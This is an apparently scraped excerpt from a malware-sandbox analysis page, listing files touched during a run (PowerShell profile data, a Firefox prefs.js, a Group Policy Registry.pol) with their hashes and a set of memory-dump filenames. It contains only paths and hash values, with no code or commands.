MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 f2109c7cbf5de8bf43a931873997b61c946b9190e457b25c29e088dfec6d7cb3
MD5 e77e2853db20f9a7b5dbc496f6665c7d
SHA1 186966430efd561629f413c6bae56f5bef5df5c0
SHA512 450655a2623565ab867296edcd26eba7932eb19ba84a27736f6294953cf12c868d7b40965115d52b2a2b44ca31b734f588095cbd66581c4f589735011aac9c1f
SSDEEP 192:Fnrf+49i+F4X5i0pTZGQqbW5Da0jI/R45y6wo9o/q0B//bKsK6smxYHV7woy/mdS:Frf+49i+iXFnGQn0KQk+o9o/B3bVK6so
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 11KB
SHA256 0bc3370e40c2294f9b7aa82342e4339eac217d592c1e0a3188bacf3237e2198b
MD5 ebc00352718d8f39027237497e68ad9a
SHA1 6eb2e7e0e5ad07724e1f799ac9a7a32da2ae450b
SHA512 e417065bad403a9e78e280a52db419fbf9016db70f927bdfcb299746d5211a751e0e879266d9aa88531fd6ae8a7ead4db5fdc000926060346b658f12dd025a01
SSDEEP 192:Anrf+B91GCa57/lezThQazW3FdTP/R459TLw95ct4yA43sBLdxYtLIFbKvmBiUjx:Arf+B91eN/ItBi1d7khU95ARcNY1IpKc
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_rmowzjeo.cds.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmowzjeo.cds.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lhmx4teg.default-release\prefs.js
Size 11KB
SHA256 c138d5eda737ff2b7802258c9a5702144727c26545fe84c4a37e65090677fad8
MD5 2fb3a953d6845c48abc1668243274bde
SHA1 35f91e8c67bfb729839d105b57e9499e031f700c
SHA512 594809287da46be90b11852a5c590788be71cedac3ddbdc56a132e6ed23befef3df29244f7fa62486af0f3551b28cb02cefd4e7e3b508f765df54c5c68c1fe24
SSDEEP 192:Ob5nYRof/iXN41s/uI4gYcU8BtD8JJCddLMy1Zzw3raXfMSBw8VBl9DLadaWMXER:OtzsWuYgUJJ6My1ZzhDwiXo
MD5 SHA1 SHA512 SSDEEP

Submit Download

Registry.pol

Path C:\Windows\System32\GroupPolicy\Machine\Registry.pol
Size 7KB
SHA256 70499623fc7e75fb42092fa77a9f641f94db6449395a6a60d91d494865270350
MD5 12838bdc6e089580fbc9e5751bf32ce7
SHA1 27396f671e246a53f2322802029a4def2515b02a
SHA512 91647d54dd039ada77d4e8184851abe4048f8388095851fe0864396415e13b739fdc08257dffdf12955ea08453bf11724d3029906a7021c96d15b4b69435eca7
SSDEEP 96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0R0T000p0+0NX0k000Z0wkpUEJLiyPLix:HVE5K5M
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2244-453-0x0000000004DD0000-0x0000000004E9F000-memory.dmp

Download

memory/2244-26-0x00000000006C0000-0x0000000000D4E000-memory.dmp

Download

memory/2244-5-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/2244-475-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/2244-438-0x0000000004D50000-0x0000000004DD0000-memory.dmp

Download

memory/2244-0-0x00000000006C0000-0x0000000000D4E000-memory.dmp

Download

memory/2244-58-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/2244-67-0x0000000003B40000-0x0000000003BC5000-memory.dmp

Download

memory/2244-1-0x0000000010000000-0x00000000105EC000-memory.dmp

Download

memory/2244-111-0x00000000044C0000-0x0000000004521000-memory.dmp

Download

memory/2384-13-0x0000000005910000-0x0000000005976000-memory.dmp

Download

memory/2384-12-0x00000000058A0000-0x0000000005906000-memory.dmp

Download

memory/2384-6-0x00000000742CE000-0x00000000742CF000-memory.dmp

Download

memory/2384-29-0x00000000742C0000-0x0000000074A70000-memory.dmp

Download

memory/2384-25-0x0000000006320000-0x000000000636C000-memory.dmp

Download

memory/2384-24-0x0000000005FC0000-0x0000000005FDE000-memory.dmp

Download

memory/2384-23-0x0000000005980000-0x0000000005CD4000-memory.dmp

Download

memory/2384-7-0x0000000004990000-0x00000000049C6000-memory.dmp

Download

memory/2384-11-0x0000000004FA0000-0x0000000004FC2000-memory.dmp

Download

memory/2384-10-0x00000000742C0000-0x0000000074A70000-memory.dmp

Download

memory/2384-8-0x00000000742C0000-0x0000000074A70000-memory.dmp

Download

memory/2384-9-0x0000000005000000-0x0000000005628000-memory.dmp

Download

memory/2416-45-0x0000027E49E20000-0x0000027E49E42000-memory.dmp

Download

memory/3516-31-0x0000000005D50000-0x00000000060A4000-memory.dmp

Download